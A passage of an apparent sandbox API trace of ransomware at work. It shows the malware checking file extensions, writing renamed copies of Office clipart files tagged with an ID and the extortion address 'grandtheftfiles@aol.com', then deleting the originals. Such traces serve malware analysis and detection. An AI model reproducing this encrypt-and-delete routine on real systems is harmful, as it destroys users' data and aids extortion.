	[0165.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.892] lstrlenW (lpString=".xlsx") returned 5
	[0165.892] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.892] lstrlenW (lpString=".ppt") returned 4
	[0165.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".zip") returned 4
	[0165.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.892] lstrlenW (lpString=".rar") returned 4
	[0165.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString=".bz2") returned 4
	[0165.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString=".7z") returned 3
	[0165.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".dbf") returned 4
	[0165.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".1cd") returned 4
	[0165.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.893] lstrlenW (lpString=".jpg") returned 4
	[0165.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.893] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.893] lstrlenW (lpString="J0105846.WMF") returned 12
	[0165.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.901] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8240) returned 1
	[0165.901] CloseHandle (hObject=0x538) returned 1
	[0165.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220
	[0165.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.902] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.902] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.903] GetLastError () returned 0x0
	[0165.903] ReadFile (in: hFile=0x538, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2030, lpOverlapped=0x0) returned 1
	[0165.906] WriteFile (in: hFile=0x560, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2040, lpOverlapped=0x0) returned 1
	[0165.907] ReadFile (in: hFile=0x538, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.907] WriteFile (in: hFile=0x560, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.907] SetEndOfFile (hFile=0x560) returned 1
	[0165.907] CloseHandle (hObject=0x560) returned 1
	[0165.907] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.907] SetEndOfFile (hFile=0x538) returned 1
	[0165.912] CloseHandle (hObject=0x538) returned 1
	[0165.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1
	[0165.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.913] lstrlenW (lpString=".doc") returned 4
	[0165.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.913] lstrlenW (lpString=".docx") returned 5
	[0165.913] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.913] lstrlenW (lpString=".pdf") returned 4
	[0165.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.913] lstrlenW (lpString=".xls") returned 4
	[0165.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.913] lstrlenW (lpString=".xlsx") returned 5
	[0165.913] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.913] lstrlenW (lpString=".ppt") returned 4
	[0165.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.913] lstrlenW (lpString=".zip") returned 4
	[0165.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.914] lstrlenW (lpString=".rar") returned 4
	[0165.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString=".bz2") returned 4
	[0165.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString=".7z") returned 3
	[0165.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.914] lstrlenW (lpString=".dbf") returned 4
	[0165.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.914] lstrlenW (lpString=".1cd") returned 4
	[0165.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.914] lstrlenW (lpString=".jpg") returned 4
	[0165.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.914] lstrlenW (lpString=".doc") returned 4
	[0165.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString=".docx") returned 5
	[0165.914] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.914] lstrlenW (lpString=".pdf") returned 4
	[0165.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString=".xls") returned 4
	[0165.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.914] lstrlenW (lpString=".xlsx") returned 5
	[0165.914] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.914] lstrlenW (lpString=".ppt") returned 4
	[0165.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.914] lstrlenW (lpString=".zip") returned 4
	[0165.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.914] lstrlenW (lpString=".rar") returned 4
	[0165.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.914] lstrlenW (lpString=".bz2") returned 4
	[0165.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.915] lstrlenW (lpString=".7z") returned 3
	[0165.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.915] lstrlenW (lpString=".dbf") returned 4
	[0165.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.915] lstrlenW (lpString=".1cd") returned 4
	[0165.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0165.915] lstrlenW (lpString=".jpg") returned 4
	[0165.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.915] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.915] lstrlenW (lpString="J0105912.WMF") returned 12
	[0165.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.916] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11720) returned 1
	[0165.916] CloseHandle (hObject=0x538) returned 1
	[0165.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220
	[0165.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.916] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.916] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0165.917] GetLastError () returned 0x0
	[0165.917] ReadFile (in: hFile=0x538, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2dc8, lpOverlapped=0x0) returned 1
	[0166.149] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2dd0, lpOverlapped=0x0) returned 1
	[0166.291] ReadFile (in: hFile=0x538, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.291] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.291] SetEndOfFile (hFile=0x564) returned 1
	[0166.291] CloseHandle (hObject=0x564) returned 1
	[0166.292] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.292] SetEndOfFile (hFile=0x538) returned 1
	[0166.294] CloseHandle (hObject=0x538) returned 1
	[0166.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1
	[0167.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.154] lstrlenW (lpString=".doc") returned 4
	[0167.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.154] lstrlenW (lpString=".docx") returned 5
	[0167.154] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.154] lstrlenW (lpString=".pdf") returned 4
	[0167.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.154] lstrlenW (lpString=".xls") returned 4
	[0167.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.154] lstrlenW (lpString=".xlsx") returned 5
	[0167.154] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.154] lstrlenW (lpString=".ppt") returned 4
	[0167.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.154] lstrlenW (lpString=".zip") returned 4
	[0167.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.155] lstrlenW (lpString=".rar") returned 4
	[0167.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString=".bz2") returned 4
	[0167.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString=".7z") returned 3
	[0167.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.155] lstrlenW (lpString=".dbf") returned 4
	[0167.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.155] lstrlenW (lpString=".1cd") returned 4
	[0167.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.155] lstrlenW (lpString=".jpg") returned 4
	[0167.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.155] lstrlenW (lpString=".doc") returned 4
	[0167.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString=".docx") returned 5
	[0167.155] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.155] lstrlenW (lpString=".pdf") returned 4
	[0167.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString=".xls") returned 4
	[0167.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.155] lstrlenW (lpString=".xlsx") returned 5
	[0167.155] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.155] lstrlenW (lpString=".ppt") returned 4
	[0167.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.155] lstrlenW (lpString=".zip") returned 4
	[0167.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.155] lstrlenW (lpString=".rar") returned 4
	[0167.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.155] lstrlenW (lpString=".bz2") returned 4
	[0167.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.156] lstrlenW (lpString=".7z") returned 3
	[0167.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.156] lstrlenW (lpString=".dbf") returned 4
	[0167.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.156] lstrlenW (lpString=".1cd") returned 4
	[0167.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0167.156] lstrlenW (lpString=".jpg") returned 4
	[0167.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.156] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.156] lstrlenW (lpString="J0106572.WMF") returned 12
	[0167.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.593] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2148) returned 1
	[0167.594] CloseHandle (hObject=0x53c) returned 1
	[0167.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220
	[0167.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.598] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.598] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0167.599] GetLastError () returned 0x0
	[0167.599] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x864, lpOverlapped=0x0) returned 1
	[0167.601] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x870, lpOverlapped=0x0) returned 1
	[0167.602] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.602] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.602] SetEndOfFile (hFile=0x548) returned 1
	[0167.602] CloseHandle (hObject=0x548) returned 1
	[0167.602] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.602] SetEndOfFile (hFile=0x53c) returned 1
	[0167.605] CloseHandle (hObject=0x53c) returned 1
	[0167.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1
	[0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.606] lstrlenW (lpString=".doc") returned 4
	[0167.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.606] lstrlenW (lpString=".docx") returned 5
	[0167.606] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.606] lstrlenW (lpString=".pdf") returned 4
	[0167.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.606] lstrlenW (lpString=".xls") returned 4
	[0167.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.606] lstrlenW (lpString=".xlsx") returned 5
	[0167.606] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.606] lstrlenW (lpString=".ppt") returned 4
	[0167.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.606] lstrlenW (lpString=".zip") returned 4
	[0167.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.606] lstrlenW (lpString=".rar") returned 4
	[0167.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString=".bz2") returned 4
	[0167.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString=".7z") returned 3
	[0167.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.607] lstrlenW (lpString=".dbf") returned 4
	[0167.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.607] lstrlenW (lpString=".1cd") returned 4
	[0167.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.607] lstrlenW (lpString=".jpg") returned 4
	[0167.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.607] lstrlenW (lpString=".doc") returned 4
	[0167.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString=".docx") returned 5
	[0167.607] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.607] lstrlenW (lpString=".pdf") returned 4
	[0167.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString=".xls") returned 4
	[0167.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
